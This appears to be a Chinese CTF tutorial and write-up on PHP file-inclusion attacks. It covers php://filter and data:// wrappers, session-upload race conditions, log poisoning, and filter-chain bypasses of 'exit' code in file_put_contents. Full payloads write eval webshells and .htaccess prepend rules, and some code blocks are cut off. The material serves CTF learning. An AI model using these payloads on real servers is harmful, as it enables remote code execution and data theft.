文件包含
文件包含
伪协议
php://filter参数详解
可用的过滤器列表(4类)
字符串过滤器 | 作用 |
---|---|
string.rot13 | 等同于str_rot13() ,rot13变换 |
string.toupper | 等同于strtoupper() ,转大写字母 |
string.tolower | 等同于strtolower() ,转小写字母 |
string.strip_tags | 等同于strip_tags() ,去除html、PHP语言标签 |
转换过滤器 | 作用 |
---|---|
convert.base64-encode & convert.base64-decode | 等同于base64_encode() 和base64_decode() ,base64编码解码 |
convert.quoted-printable-encode & convert.quoted-printable-decode | quoted-printable 字符串与 8-bit 字符串编码解码 |
压缩过滤器 | 作用 |
---|---|
zlib.deflate & zlib.inflate | 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 |
bzip2.compress & bzip2.decompress | 同上,在本地文件系统中创建 bz2 兼容文件的方法。 |
加密过滤器 | 作用 |
---|---|
mcrypt.* | libmcrypt 对称加密算法 |
mdecrypt.* | libmcrypt 对称解密算法 |
示例:
php://filter/read=convert.base64-encode/resource=[文件名]
读取文件源码(针对php文件需要base64编码)
1 | http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php |
配合include
1 | ?c=include$_GET[1] &1=php://filter/read=convert.base64-encode/resource=flag.php |
data://协议
条件:
1 | allow_url_fopen:on |
作用:
1 | 自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。 |
用法:
1 | data://text/plain, |
示例:
data://text/plain,
1 | http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?> |
data://text/plain;base64,
1 | http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b |
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
我们可以利用session.upload_progress
将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。
session里有一个默认选项,session.use_strict_mode默认值为off。
此时用户是可以自己定义Session ID
的。比如,我们在Cookie
里设置PHPSESSID=flag
,PHP将会在服务器上创建一个文件:/tmp/sess_flag
。即使此时用户没有初始化Session
,PHP也会自动初始化Session
,并产生一个键值.
注:在Linux
系统中,session文件一般的默认存储位置为/tmp
或 /var/lib/php/session
1 | 默认路径 |
但是session.upload_progress.cleanup默认是开启的
框着的这句话意思就是说在默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,它就会清除进度信息
这里我们可以利用条件竞争来进行文件上传
下面讲个例题来实践一下:
CTFshow 里web入门里的一个文件包含题
通过观察代码,可以看到过滤了大部分的文件包含函数,这里我们利用PHP_SESSION_UPLOAD_PROGRESS加条件竞争进行文件包含
以POST的形式发包,传的文件随意
1 |
|
1 | #poc.php |
抓包,这里我们添加一个 Cookie :PHPSESSID=flag ,PHP将会在服务器上创建一个文件:/tmp/sess_flag” (这里我们猜测session文件默认存储位置为/tmp),并在PHP_SESSION_UPLOAD_PROGRESS下添加一句话木马,修改如下
接着去题目页面,传参?file=/tmp/sess_flag
后抓包(随便加一个参数来方便爆破,不加也行) 因为我们在上面这个页面添加的ID值是flag,所以传参 ?file=/tmp/sess_flag
修改如下:这个a是随便加的,主要是为了方便爆破
条件竞争,将POST和GET的包都开启爆破,即可得到目录,
可以看到有fl0g.php,只要把ls改为 cat fl0g.php即可,修改如下:
爆破即可得到flag
file_put_content和死亡·杂糅代码
首先来说,file_put_content大概有三种情形出现;
1 | file_put_contents($filename,"<?php exit();".$content); |
这里我们的思路一般是想要将杂糅或者死亡代码分解掉;这里思路基本上都是利用php伪协议filter,结合编码或者相应的过滤器进行绕过;其原理不外乎是将死亡或者杂糅代码分解成php无法识别的代码;
首先对于第一种
直观的看到,我们的文件名和文件内容都是可控的,这种的相对来说简单的多,我们直接控制文件名,和文件内容即可,下面分享几种方式;
1.base64编码绕过
原理其实很简单,利用base64解码,将死亡代码解码成乱码,使得php引擎无法识别;
1 | $filename='php://filter/convert.base64-decode/resource=s1mple.php'; |
这里之所以将$content加了一个a,是因为base64在解码的时候是将4个字节转化为3个字节,又因为死亡代码只有phpexit参与了解码,所以补上一位就可以完全转化;载荷效果如下:
2.rot13 编码绕过
原理和base64一样,可以直接转码分解死亡代码;这里不再多说;直接看如下实验结果即可;
只是这种方法有点尴尬的是;因为我们生成的文件内容之中前面的<?
并没有分解掉,这时,如果服务器开启了短标签,那么就会被解析,所以所以后面的代码就会错误;也就失去了作用;
3. .htaccess的预包含利用
利用 .htaccess的预包含文件的功能来进行攻破;自定义包含我们的flag文件。
1 | $filename=php://filter/write=string.strip_tags/resource=.htaccess |
同时传入如上的代码,首先来解释$filename的代码,这里引用了string.strip_tags过滤器,可以过滤.htaccess内容的html标签,自然也就消除了死亡代码;$content
即闭合死亡代码使其完全消除,并且写入自定义包含文件;实验结果如下所示:
但是这种方法也是具有一定的局限性,首先我们需要知道flag文件的位置,和文件的名字,一般的比赛中可以盲猜 flag.php flag /flag /flag.php 等等;另外还有个很大的问题是,string.strip_tags过滤器只是可以在php5的环境下顺利的使用,如果题目环境是在php7.3.0以上的环境下,则会发生段错误。导致写不进去;根本来说是php7.3.0中废弃了string.strip_tags这个过滤器;
4.过滤编码器组合拳
过滤器组合拳,其实故名思意,就是利用过滤器嵌套过滤器进行过滤,以此达到代码的层层更迭,从而最后写入我们期望的代码:
先来第一种
1 | $filename='php://filter/string.strip_tags|convert.base64-decode/resource=s1mple.php' |
可以看到,利用string.strip_tags可以过滤掉html标签,将标签内的所有内容进行删去,然后再进行base64解码,成功写入shell;
但是这种方法有一定的局限性也还是因为string.strip_tags在php7.3.0以上的环境下会发生段错误,从而导致无法写入,但是在php5的环境下则不受此影响;
再来另一种
如果题目的环境是php7的话,那么我们又该如何?这里受一个题目的启发,也可以使用过滤器进行嵌套来做;组合拳;这里三个过滤器叠加之后先进行压缩,然后转小写,最后解压,会导致部分死亡代码错误;则可以写入shell;
1 | $filename=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=s1mple.php |
如此便可以写入;其原理也很简单,就是利用过滤器嵌套让死亡代码在各种变换之间进行分解扰乱,然后再次写入木马;
这里非常巧合的是内容经过压缩转小写然后解压之后,我们的目的代码并没有发生变化,这也为写入木马奠定了基础;
介绍完第一种情况之后,就来介绍第二种情况
file_put_contents($content,"<?php exit();".$content);
如此又该如何;
这段类似的代码在ThinkPHP5.0.X反序列化中出现过,利用其组合才能够得到RCE。有关ThinkPHP5.0.x的反序列化这里就不说了,主要是探索如何利用php://filter绕过该限制写入shell后门得到RCE的过程。
面对这种情况,就和WMCTF的一个题基本一样了;和上面的大类方法一样,也是利用php伪协议filter进行嵌套过滤器进行消除死亡代码,然后进行shell的写入或者读取;不过这种因为是一个变量,所以其限制代码为<?php exit()
; 然而我们之前说到的是因为是控制两个变量,在这种情况之下就为<?php exit();?>
,两者有本质的区别,然而第一种情况下,后面的几种解法,其实从某种程度上来说,也是将其看成了一个变量从而的出的payload;
这里题目环境如果在php7下,wmctf的wp上已经写的很清楚了,有多种方法可以绕过去;这里不再过多的解释;
但是这里想要分享的一个另类的方法,如果题目环境不是在php7下,并且过滤了zlib的话,又该如何去解答,再使用过滤器去压缩和解压就不太可能实现了;这里提供一种我新实验成的方法,利用.htaccess进行预包含,然后读取flag;
1 | ?content=php://filter/write=string.strip_tags/?>php_value%20auto_prepend_file%20G:\s1mple.php%0a%23/resource=.htaccess |
这里可以直接自定义预包含文件,进行测试;结果如下;
再次访问页面即可包含flag文件,进行读取;主要还是利用.htaccess的功效;
base64
看到这种情况其实也可以想到base64利用,payload::
php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=s1mple.php
或者
1 | php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php |
看起来顺理成章,进行拼接之后就是<?php exit();php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php
然后会对其进行一次整体的base64-decode。从而分解掉死亡代码,但是有个小问题,当时我也有点不解,一直无法生成content;虽然文件创建成功,但是就是无法生成content。翻了翻cyc1e师傅的文章,和其他文章 ,发现问题在于‘=’;
都知道‘=’在base64中的作用是填充,也就是以为着结束;在‘=’的后面是不允许有任何其他字符的否则会报错,有的解码程序会自动忽略后面的字符从而正常解码,其实实际上还是有问题的。如下图所示;
这里因为是由于‘=’从而使得我们写入content不成功,那么我们可以想个方法去掉等号即可
去掉等号之过滤器嵌套base64
payload: php://filter/string.strip.tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php
如此payload我们测试看看载荷效果;
发现可以生成文件,并且可以看到我们已经成功写入了shell;但是文件名确实有问题,当我们在浏览器访问的时候,会出现访问不到的问题,这里是因为引号的问题;那么如何避免,我们可以使用伪目录的方法,进行变相的绕过去;
改payload为此:php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php
我们将前面的一串base64字符和闭合的符号整体看作一个目录,虽然没有,但是我们后面重新撤回了原目录,生成s1mple.php文件;从而就可以生成正常的文件名;载荷效果如下:
去掉等号之直接对内容进行变性另类base64
其实这种也是借助于过滤器,但是原理并不是和之前的原理一样,之前的原理即是:闭合原本的死亡代码,然后在进行过滤器过滤掉内容中的html标签,从而对剩下的内容进行base64解码。但是这种方法却不是如此,payload如下:
1 | php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php |
这种方法也是新奇,在一片文章中发现,但是他的payload无法进行攻击成功,我借助其思路重新构造了一个新的payload;这种payload的攻击原理即是首先直接在内容时,就将我们base64遇到的‘=’这个问题直接写在<? ?>
中进行过滤掉,然后base64-decode再对原本内容的<?php exit();
进行转码,从而达到分解死亡代码的效果;这是两种攻击思路;
rot13
尽管base64比较特别,但是并不是所有的编码都受限于‘=’,这里可以采用rot13编码即可;
php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=s1mple.php
这里<?php phpinfo();?>
的rot13编码即为<?cuc cucvasb();?>
,所以这里可以进行写入;载荷效果如下:
其原理就是利用转码从而将原本的死亡代码进行转码从而使引擎无法识别从而避免死亡代码;
convert.iconv.
这个过滤器需要 php 支持 iconv
,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()
函数处理所有的流数据。 然而 我们可以留意到 iconv — 字符串按要求的字符编码来转换
;;其用法:iconv ( string $in_charset , string $out_charset , string $str ) : string
将字符串 str
从 in_charset
转换编码到 out_charset
。 就其功能而论,有点类似于base_convert
的功效一样,只不过二者还是有作用的区别,只是都是涉及编码转换的问题而已;(可以类比);由此记得国赛的一道love_math的题目,有了base_convert之后就可以尽情的转换从而getshell;
那么我们就可以借用此过滤器,从而进行编码的转换,写入我们需要的代码,然后转换掉死亡代码,其实本质上来说也是利用了编码的转换;
1.usc-2
通过usc-2的编码进行转换;对目标字符串进行2位一反转;(因为是两位一反转,所以字符的数目需要保持在偶数位上)
payload:php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSs[m1lp]e;)>?/resource=s1mple.php
;其实也是变向的转换回来,从而利用那一次转换对死亡代码进行扰乱;载荷效果如下:
2.usc-4
活用convert.iconv。可以进行usc-4编码转化;就是4位一反转;类比可知,构造的shell代码应该是usc-4中的4倍数;
通过测试我们可以明确的看到确实是需要是4的倍数才可以进行,否则会进行报错;
payload:php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]pm1>?;)/resource=s1mple.php
荷载效果如下:
3.utf-8与utf-7之间的转化
经过测试发现如下的现象:
这里发现生成的是+AD0-
,然而经过检测,此字符串可以被base64进行解码;那也就意味着我们可以使用这种方法避免等号对我们base64解码的影响;我们可以直接写入base64加密后的payload,然后将其进行utf之间的转换,因为纯字符转换之后还是其本身;所以其不受影响,进而我们的base64-encode之后的编码依然是存在的,然后进行base64-decode一下,写入shell;算上是一种组合拳;
php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=s1mple.php
载荷效果如下:
第三种情况
1 | file_put_contents($filename,$content . "\nxxxxxx"); |
面对此情况相对来说要比之前的两种还要在某种程度上来说要简单一点,我们只需要让后面的杂糅代码注释掉,或者分解掉都是可以的,目的就是不让杂糅代码干扰;
这种情形一般考点都是禁止有特殊起始符和结束符号的语言,举个例子,如果题目没有ban掉php,那么我们可以轻而易举的写入php代码,因为php代码有特殊的起始符和结束符,所以后面的杂糅代码,并不会对其产生什么影响,载荷效果如下:
所以这类问题的考点,往往在于我们没有办法去写入这类的有特殊起始符和结束符号的语言,往往是需要想办法处理掉杂糅代码的;常见的考点是利用.htaccess进行操作;都知道,.htaccess文件对其文件内容的格式很敏感,如果有杂糅的字符,就会出现错误,导致我们无法进行操作,所以这里我们必须采用注释符将杂糅的代码进行注释,然后才可以正常访问;
这里对于换行符我们直接进行 \
注释即可。然后再嵌入#注释符,从而达到单行注释就可以将杂糅代码注释掉的效果;载荷效果如下
可以发现直接利用,对于这种没有unlink的题目,我们也是可以反复写入.htaccess进行覆盖的,但是前提是我们写入的.htaccess文件格式不能出现错误,如果出现错误,则会触发报错,题目就会锁死。所以对待此类问题应当小心谨慎;回到刚才,我们可以反复的写入,那么我们就可以方法很多;
CTFshow题目writeup
web78
php伪协议
1 | ?file=php://filter/read=convert.base64-encode/resource=flag.php |
web79
data伪协议
1 | if(isset($_GET['file'])){ |
str_replace()
函数替换字符串中的一些字符(区分大小写),看题目中存在一个过滤,如果我们传入的参数中有php的话会替换为???,这意味着php://filter
是用不成了,我们可以使用data://text
1 | ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw== |
web80-81
1 | if(isset($_GET['file'])){ |
我们看到php,data都被过滤了,看了提示说是日志包含
访问之后发现是User-Agent
直接抓包改头,先查看一下发现了fl0g.php
直接开始查看
web82-86
1 | if(isset($_GET['file'])){ |
过滤了php、data、:、;
1 | import io |
web116
一打开是个视频,没有源代码,下载下来发现里面隐藏了一张图片
binwalk一直没弄下来,用的foremost。
看一下源码,过滤了data,input,base64.但是没过滤php和符号那么很多绕过方法
1 | ?file=flag.php |
web117
1 | highlight_file(__FILE__); |
可以看到过滤了不少,但是还是可以搞
可以使用convert.iconv.*
原理:对原有字符串进行某种编码然后再解码,这个过程导致最初的限制exit;去除。
构造
1 | file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php |
post传一句话
然后来到a.php